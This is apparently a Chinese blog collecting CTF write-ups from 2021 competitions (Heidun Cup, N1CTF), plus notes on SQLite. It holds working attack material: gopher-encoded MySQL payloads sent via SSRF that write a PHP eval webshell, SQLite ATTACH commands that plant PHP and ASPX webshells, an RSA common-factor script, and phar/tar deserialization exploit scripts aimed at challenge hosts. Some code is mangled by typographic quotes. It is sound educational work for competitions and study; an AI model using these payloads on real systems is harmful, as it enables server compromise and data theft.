2021黑盾杯

\dns协议**

下载下来得到一队01文件,猜测是画图题
from PIL import Image

import matplotlib.pyplot as plt

Loca_img = Image.new(‘RGB’,(500,500),(255,255,255))

with open(‘dddd.txt’,”r”) as f:

f=f.read()[::-1]

x,y =Loca_img.size

cnt = 0

for i in range(y):

​ for j in range(x):

​ if f[cnt]==’0’:

​ Loca_img.putpixel((i,j),(0,0,0))

​ cnt+=1

plt.imshow(Loca_img)

plt.show()

Loca_img.save(‘flag.png’)

img
得到flag图片,上面缺了一个角,但是我们知道,那个是定位角,都是一样的,在ps里面吧旁边那个格子补过去就行了,然后扫码得到flag
flag{5E57527B60}

\日志分析**

img

很明显是sql盲注的流量,把他urldecode一下,

img

可以看到675的长度才是正确的,然后对其进行ascii码对照一下可以得到
ngjfdsUbdK

\dns协议**

img

一开始在wireshark里面看,没看到什么东西,卡了有点久,就去kali里面直接把所有内容列出来了

img

很明显,直接看到一串类似base64加密的东西,解码一下就拿到flag了

img

\Decode**

看到pk头了,又看到decode.txt,分一下,就可以拿到img

尝试GCD函数,发现可行

import libnum

n1 = 15228664629164509105936278301396170708905691970126305196584505186788860519598413718493859625462561931380632032431490419378905593909771649295663481782473029836321132574188559245931660756414915507930357509270674460219615256962333464689419869130366867401404262606367700782040693275068101244535880649261286041921882470460606034302142183971677715439862839410834231609821777031530457674591868138859358815039755085358568037032478394036448363183057305077227769673701227083943898736796552550712057417053897722979700329662099072959306298177351997084389916443815546425080826441671985030755256185725913397986385179516049927425591

n2 = 28182418532443955655250943929828439725377604572088962537896240628709829618999901367131159759359513146864646169253348651905865895468151210748207509325666501438590382812326109260537618829438786609626137074778638549998280533912080708785604673270460635181275360847313985764185991865570533815651261638439461846512012164531330949433517277559149828806588070421852157781670188281908625986974579194819272643409859915715455134433970119584552350648013116998668938513347083566970423327936691885137812528912263666957628197241313496232397910546498542303925205356813548741679943691886217742767778075067797422624969714343428365022749

n3 = 18355811159408154065817199279776805621878757240392366715869421799780946779485225342662736231980532326015283372375030686507311099745671828649419794838611580909610100636296701054995302819692794479292794716441442731393027118795245239019609474743841061251498233337758043553376098591254587406941205804917663153256036922860462415387926973551020540123742773938055950168965005226319984869124543783579240130888344231027912143592472823564266887957101575622993773291455143915263715932280728961208233983782906070719786115187115449430196335973764600533097718947377609348244073036523422892353195107093782201003551217830556519184839

e1 = 65537

e2 = 27751

e3 = 65537

c1 = 5368342382489380107251269030258282008067103595899117880173297169710980852124379736420135829984131832023988667774795223808420069001078159756328642298736759964890517323144475742861501409284299556459601222657540302786301791897975932176538612601162552795835603779910738886150925504885639254302406755008796950704938463132687940418772021406619622090999564746948113296328739593309200238996686945891130656599419832796482095787039339269564880847130379179831744694000940207887150388411084465949903406848727641093033681144598595895383689139227400553234701993087147186292040330589331703587405822925483701667354935313494938769206

c2 = 21521672635651854919517759696514027081496995002884626306313384597771682621826437868933822942195279941318573525337109548152966094293276717095298929811895186384560362917891928656637913236676702009205642367801075592458101830488916914437754803979953027152373619293870115731171449223105986403604973873007338969000153480949617700626516389419935352576014084068271819009465242491467427642787306345049280205827574043586767133396458785487959251540831856187380154825027964867977651727983254127239427622549059938701125498520279503972702883327594442747467858234391945790597844344295786118320620376681461727686876948563884520137741

c3 = 13940747781246179701167820858098775936269078279837839169409057305686612176371099274767269714494905207551971162649902129137425806839867713157472497469542260664882313041602553845621113546259276402534229231780532278276697961222319054833980226978574905974878218905613341365260453461080117407529132948986104191917111000811731784483944945364091757083949827612260904757837644538366763161154611658652020868326985526984718638276184626634240096213703958275241215175054246685206226179114590838833694648062135027841593419815101363262701960507235056752424778384286627997500871204804629047307688466887868894491042058198480775705486

p1 = libnum.gcd(n1,n2)

p3 = libnum.gcd(n2,n3)

def get_flag(c,n,e,p):

#p2 = p1

q = n//p

phi = (p-1)*(q-1)

d = libnum.invmod(e,phi)

flag = libnum.n2s(pow(c,d,n))

return flag

if name==”main“:

get_flag(c1,n1,e1,p1)

分别拿到三组flag 然后decode组合一下

img

就拿到flag了

\在线电力控制系统消息传送**

一开始用ssrf测试的,发现好像不太对

img

他需要有个dianli.com在开头,继续往下看,发现吧http去掉依旧可以,img

发现没有这个东西,,在测试了一下,原来是/flag.txt

img

img

\myTemplate**

还好www.zip有源码,所以直接审计源码就行

public function render(){

​ extract($this->data);

​ if (!isset($file)) {

​ $content = file_get_contents($this->templte_file);

​ }else{

​ $content = file_get_contents($file);

​ }

​ eval(‘?>’ . $content);

}

这个漏洞太明显了,file_get_contents,而且输入可控

捋一下思路,首先是file这个参数会被读取,然后它使用了extract函数==,那我们直接url传入一个file值,就会被这个模板给渲染了,接下来就会在后面的页面被解析了

Payload

admin.php?file=/flag.php

\ICS-Modbus的秘密**

字符串搜索,直接出flag

img

\Magiccurl**

通过dns重绑定绕过对请求ip的限制

https://lock.cmpxchg8b.com/rebinder.html

需要多次请求,一直到读出密码为止,得到密码

http://39.104.66.84:12460/index.php?url=http://7f000001.01010101.rbndr.us/admin.php

```

DssT2M2cjDNKaew

```

img

img

接下来利用gopher协议攻击本地mysql,通过导出general_log文件来getshell

要执行的sql语句

```

set global general_log = “ON”;

set global general_log_file=”/var/www/html/1.php”;

select ‘‘;

```

用gopherus生成payload,然后用脚本发送

```

import requests

url=”http://39.104.66.84:12460/"

data={

“password”:”DssT2M2cjDNKaew”,

#“url”:”dict://127.0.0.1:3306”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%24%00%00%00%03%53%48%4f%57%20%47%52%41%4e%54%53%20%46%4f%52%20%27%74%65%73%74%27%40%27%6c%6f%63%61%6c%68%6f%73%74%27%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%27%00%00%00%03%73%68%6f%77%20%67%6c%6f%62%61%6c%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%27%25%73%65%63%75%72%65%25%27%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%52%00%00%00%03%63%72%65%61%74%65%20%66%75%6e%63%74%69%6f%6e%20%73%79%73%5f%65%76%61%6c%20%72%65%74%75%72%6e%73%20%73%74%72%69%6e%67%20%73%6f%6e%61%6d%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%6d%79%73%71%6c%75%64%66%2e%73%6f%27%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%73%65%6c%65%63%74%20%73%79%73%5f%65%76%61%6c%28%27%6c%73%20%2f%27%29%3b%01%00%00%00%01”

#

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%27%67%65%6e%65%72%61%6c%25%27%3b%01%00%00%00%01”

“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%23%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%6s1%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%34%00%00%00%03%73%65%74%20%67%6c%6f%62%61%6c%20%67%65%6e%65%72%61%6c%5f%6c%6f%67%5f%66%69%6c%65%3d%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%20%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1f%00%00%00%03%73%65%74%20%67%6c%6f%62%61%6c%20%67%65%6e%65%72%61%6c%5f%6c%6f%67%20%3d%20%22%4f%4e%22%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%15%00%00%00%03%75%73%65%20%63%74%66%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%75%73%65%20%63%74%66%3b%73%68%6f%77%20%63%6f%6c%75%6d%6e%73%20%66%72%6f%6d%20%75%73%65%72%73%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%75%73%65%20%63%74%66%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%75%73%65%20%63%74%66%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%75%73%65%20%63%74%66%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73%3b%01%00%00%00%01”

#“url”:”gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01”

}

r=requests.post(url=url,data=data,proxies={“http”:None})

print(r.text)

```

成功导出php文件

img

得到flag

img

\ICS-工控控制软件分析**

img

IDA反编译后,发现在WinMain函数内部存在可疑的异或行为,有点怀疑是flag的加密,点击去追踪后

img

竟然是一段指令,按理说应该是一段字符才对,所以可能是显示有问题,有IDA强制转换为字符串

img

先试试前4个字符的异或结果,看看是什么

img

输出的结果就是flag,后面只需把后面内容加上即可

img

Master Of VM

img

首先用给的账号密码ssh连上靶机

img

查看到根目录下存在一个flag文件和一个可执行文件,flag无法读取

img

可执行文件执行了一下,貌似是用来比较两个文件的内容,但是不让创建文件,否则应该可以用来对比?然后退出去到根目录下找有没有可能可以写的文件来实现这个想法,结果到了目录发现了另外一个flag文件

2021hitcon

前言

正好遇上黑盾杯比赛,所以就没打了,但是题目肯定还是要复现的,毕竟是国际重量级的比赛。

one-bit-man

sqlite数据库学习

前言

最近遇到蛮多sqlite数据库的,感觉也是mysql考烂了吧,所以这里来总结一下

sqlite使用

指令解释

attach database 'a' as 'b';
创建一个数据库文件a命名为b联系在当前使用的数据库下

创建数据库

sqlite3.exe 数据库名.db

附加数据库的基本语法是:ATTACH DATABASE 'DatabaseName' As 'Alias-Name';。如果数据库尚未被创建,这个命令将创建一个数据库,如果数据库已存在,则把数据库文件名称与逻辑数据库 ‘Alias-Name’ 绑定在一起。例如附加一个bb.db的数据库,别名为a,命令为:attach database 'd:\\sqlite\\bb.db' as 'a';。

创建表并插入数据

create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');

sqlite可以生成任意后缀的数据库文件例如创建一个php结尾的数据库文件,新建一个名为exp的表,并在其中插入数据,内容为:<?php phpinfo();?>

具体命令如下:

ATTACH DATABASE 'D:\xxx\www\234.php' AS test2 ;create TABLE test2.exp (dataz text) ; insert INTO test2.exp (dataz) VALUES ('<?php phpinfo();?>');--

测试了一下,发现竟然可以跨目录创建,那么就意味着我们可以创建任意文件,这也将为我们写shell构造了其他方法,前提是需要知道一个绝对路径
img

同样的方法生成aspx后缀的数据库文件,创建表,并插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>。然后将该文件放在IIS服务的web目录。发现其中的APSX代码也会被解析。

写shell时遇到特殊字符处理方法

1.使用十六进制进行写入

2.SQLite中十六进制的写法为:x'....',而不是0x....

参考:https://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/

查询指令

sqlite中可以查询的数据库有

sqlite_master,sqlite_temp_master,sqlite_schema,sqlite_temp_schema
select sqlite_version();
select sql from sqlite_master;
select sql from sqlite_master where type='';
select sql from sqlite_master where type='' and name ='';

如果查出来的view,可以直接查询

CREATE VIEW view_p_sum (Product, P_SUM) AS
SELECT Product, Price*Quantity FROM p_orders GROUP BY Product;
##可以使用
select * from view_p_sum

2021nu1lctf

signin

<?php
//flag is /flag
$path=$_POST['path'];
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");
$name="D:\apache\www\nu1l\\".time().rand().'.txt';
$black="f|ht|ba|z|ro|;|,|=|g|da|_";
$blist=explode("|",$black);
foreach($blist as $b){
if(strpos($path,$b) !== false){
die('111');
}
}
if(file_put_contents($name, $time)){
echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";
}
$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));
if(is_file($check)){
echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>";
}


考点主要在于绕过date的混淆,查阅了一下文档,发现加了反斜杠以后不会被date函数给处理,所以可以直接输入///f/a/l/g存入log中即为/flag,后面又会log文件里面读出值,然后从file_get_content中读取/flag的值,即可拿到flag

easy_php

考点

phar反序列化,但是重点在于如何绕过脏字符

首先我们需要触发的入口在哪里,只有这里包含了flag.php,并且存在file_exists而且file是可控的

<?php
include_once "flag.php";
include_once "log.php";

if(file_exists(@$_GET["file"])){
echo "file exist!";
}else{
echo "file not exist!";
}

?>

这也就是意味着,我们在log.php那边写入文件,在index.php那里读

首先我们需要理清楚触发phar的条件是否都可以具备?,最大的问题在于这里,phar文件要求,他是需要后四位必须为GBMB作为签名来识别的,但是可以发现,我们写入的内容后四位会被没法是GBMB


$log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . @$_SERVER['HTTP_X_FORWARDED_FOR'] . '], REQUEST: [' . $gets . '], CONTENT: [' . file_get_contents('php://input') . "]\n";
$log_file = $log_ip_dir . '/' . $log_type . '_www.log';

file_put_contents($log_file, $log, FILE_APPEND);

所以这里就需要换一种思路来解决了,phar://可以反序列化的文件有zip, tar, phar,zip的文件更加严格了,似乎不是直接创建就可以的–,大概原因是他是压缩文件格式吧,我们分别测试一下看看哪一种不会因为脏字符文件尾而导致反序列化失败,分别对phar和tar输出他们文件内容:

img

可以发现phar文件的文件尾是GBMB,接下来我们针对测试一下修改文件后缀、文件尾、文件头试试
1.文件头
格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。并且在php当中生成phar文件的时候,这部分内容无法更改,更改以后将无法正确生成phar文件,但其实在本题当中没多大影响,因为生成phar文件的时候,这个头是连接序列化内容一起写入的,不会被打断,并且<?php前面有什么内容都没有影响

2.文件尾
文件尾需要GBMB结尾,可以发现,如果被截断的话,将无法正确读取
img
img

那么接下来的思路就是构建tar文件,进行phar反序列化了

方法一

环境搭建过程:

docker run -t easyphp -f ./Dockerfile .
systemctl daemon-reload
sudo service docker restart
sudo service docker status

首先理一下思路,我们在本地构造了一个tar包,需要做的是将它读取出来写入log文件里面,那么如何将其规范的写入应该是我们面对的问题,这里直接参考大师傅std的脚本了

<?php
error_reporting(0);
CLASS FLAG {
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}
@unlink("get_flag.tar");
$phar=new PharData("get_flag.tar");
$phar["ABCDstypr"] = "GETFLAGGETFLAG";
$obj = new FLAG();
print($phar);
$phar->setMetadata($obj);

接下来将其转化一下发送过去,写一个脚本来实现,这里主要以学习为主了–

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。 如果指定的长度小于原字符串的长度则返回原字符串。

一下是处理为新数据的过程

with open("get_flag.tar", "rb") as f:
data = f.read()
new_name = generated_metadata.ljust(100,'\x00').encode()
new_data = new_name + data[100:]
checksum = calc_checksum(new_data)
new_checksum = oct(checksum).rjust(7,'0').encode()+b'\x00'
new_data = new_name + data[100:148] + new_checksum + data[156:]
with open("get_flag.log", "wb") as f:
f.write(new_data)
f.write(b"]\n")

生成合法的log文件

import os
import sys
import struct
import requests
from datetime import datetime

def calc_checksum(data):
return sum(struct.unpack_from("148B8x356B",data))+256

if __name__=="__main__":
# generate date and phar content
generated_date = os.popen("php exp_gen.php").read().split("FLAG: ")[0]
generated_type = "styp979"
generated_metadata = "Time: " + generated_date + " IP: [], REQUEST: [log_type=" + generated_type + "], CONTENT: ["

# make it into phar format
with open("get_flag.tar", "rb") as f:
data = f.read()
new_name = generated_metadata.ljust(100,'\x00').encode()
new_data = new_name + data[100:]
checksum = calc_checksum(new_data)
new_checksum = oct(checksum).rjust(7,'0').encode()+b'\x00'
new_data = new_name + data[100:148] + new_checksum + data[156:]
with open("get_flag.log", "wb") as f:
f.write(new_data)
f.write(b"]\n")

将其发送至服务器

print("Sending exp to the server...")
with open("get_flag.log", "rb") as f:
requests.post("http://xx/log.php?log_type=" + generated_type, data=f.read().replace(generated_metadata, "").replace("]\n","")).text

# getflag
print("Getflag!")
print(requests.get("http://xx/index.php?file=phar://log/158.101.144.10/" +generated_type + "_www.log").text)
img

坑点

说是坑点,其实也不算吧,就是生成时间戳的那个,在windows系统上不知道为啥执行不来,大概是没权限吧,所以我只能搬到服务器上去执行==,为啥这个时间戳这么重要呢?思考了一下,tar文件数据有比较严格的格式要求,而此时我们是将整个log文件作为一个tar文件,如果我们这个时间戳没有实时更新,那么我们构造以后写入的数据和现在重新生成的时间戳(也就是content前面的内容)拼接以后,就不是一个合法的tar文件格式了,举个例子:就好比,我在A构造好的东西,去了一半去和B构造好的拼接执行,尽管拼接位置一样,但是前后数据不是连贯一致的,所以需要实时更新时间戳才行。

官方wp

这里直接N1的题解脚本了

<?php

CLASS FLAG {
//private $_flag;
public function __destruct(){
echo "FLAG: " . $this->_flag;
}
}

$ip = "172.17.0.1";
$log = 'Time: ' . date('Y-m-d H:i:s') . ' IP: [' . $ip . '], REQUEST: [], CONTENT: [';
$data_len = strlen($log);

if(!file_exists("./phar.tar")){
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$o = new FLAG();
$phar->setMetadata($o);
$phar->addFromString($log, "test");
$phar->stopBuffering();

file_put_contents("./phar.tar", "]\n", FILE_APPEND);
}

$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, $data_len);
echo $post_exp;
echo rawurlencode($post_exp);

这个是它的内容
img
观察一下tar文件里面的情况
可以发现是文件名为log
img
有点难受,复现到这里,发现环境关掉了,还好给了docker文件,在服务器上试试

接下来发过去即可

import os
import requests
from urllib.parse import unquote

def execCmd(cmd):
r = os.popen(cmd)
text = r.read()
r.close()
return text

headers = {
"X-Forwarded-For": "110.42.133.120"
}

# write evil log file
exp = execCmd("php exp.php")
r = requests.post("http://110.42.133.120:8080/", unquote(exp), headers=headers)
print(r.text)

# exp
r = requests.get("http://110.42.133.120:8080/?log_type=test&file=phar://./log/172.17.0.1/look_www.log")
